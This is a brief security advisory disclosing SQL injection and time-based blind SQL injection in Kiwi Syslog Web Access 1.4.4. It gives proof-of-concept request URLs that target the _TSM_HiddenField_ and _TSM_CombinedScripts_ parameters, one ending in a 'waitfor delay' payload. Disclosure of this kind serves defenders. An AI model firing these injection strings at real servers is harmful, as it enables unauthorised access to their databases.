Product: Kiwi Syslog Web Access

Version: 1.4.4

Vendor: http://www.kiwisyslog.com/kiwi-syslog-server-overview/

Vulnerability type: SQL Injection and Blind SQL Injection

Risk level: High

Vendor notification: 2012-12-18

Tested on: Windows 2003

Author: Mohd Izhar Ali

Email: johncrackernet@yahoo.com

Website: http://johncrackernet.blogspot.com

SQL Injection

Vulnerable URL Affected:

http://192.168.200.230:8088/Telerik.Web.UI.WebResource.axd?_TSM_HiddenField_=RadScriptManager1_HiddenField%27INJECTED_PARAM&compress=1&_TSM_CombinedScripts_=;;System.Web.Extensions,%20Version=1.0.61025.0,%20Culture=neutral,%20PublicKeyToken=31bf3856ad364e35:en-US:1f0f78f9-0731-4ae9-b308-56936732ccb8:b25378d2;Telerik.Web.UI,%20Version=2009.1.402.20,%20Culture=neutral,%20PublicKeyToken=121fae78165ba3d4:en-US:b30853f2-6f9f-496e-85c8-cca8f7f2e17c:16e4e7cd:f7645509:24ee1bba:e330518b:1e771326:8e6f0d33:aa288e2d:a7e79140:c8618e41:ed16cbdc:58366029:b7778d6c:874f8ea2:19620875:33108d14:bd8f85e4;System.Web.Extensions,%20Version=1.0.61025.0,%20Culture=neutral,%20PublicKeyToken=31bf3856ad364e35:en-US:1f0f78f9-0731-4ae9-b308-56936732ccb8:76254418

Vulnerable Parameter: _TSM_HiddenField_

Blind SQL Injection

URL Affected:

http://192.168.200.230:8088/Telerik.Web.UI.WebResource.axd?_TSM_HiddenField_=RadScriptManager1_HiddenField&compress=1&_TSM_CombinedScripts_=;;System.Web.Extensions,%20Version=1.0.61025.0,%20Culture=neutral,%20PublicKeyToken=31bf3856ad364e35:en-US:1f0f78f9-0731-4ae9-b308-56936732ccb8:b25378d2;Telerik.Web.UI,%20Version=2009.1.402.20,%20Culture=neutral,%20PublicKeyToken=121fae78165ba3d4:en-US:b30853f2-6f9f-496e-85c8-cca8f7f2e17c:16e4e7cd:f7645509:24ee1bba:e330518b:1e771326:8e6f0d33:aa288e2d:a7e79140:c86

18e41:ed16cbdc:58366029:b7778d6c:874f8ea2:19620875:33108d14:bd8f85e4;System.Web.Extensions,%20Version=1.0.61025.0,%20Culture=neutral,%20PublicKeyToken=31bf3856ad364e35:en-US:1f0f78f9-0731-4ae9-b308-56936732ccb8:76254418**;waitfor%20delay%20'0:0:15';--**

Vulnerable Parameter: _TSM_CombinedScripts_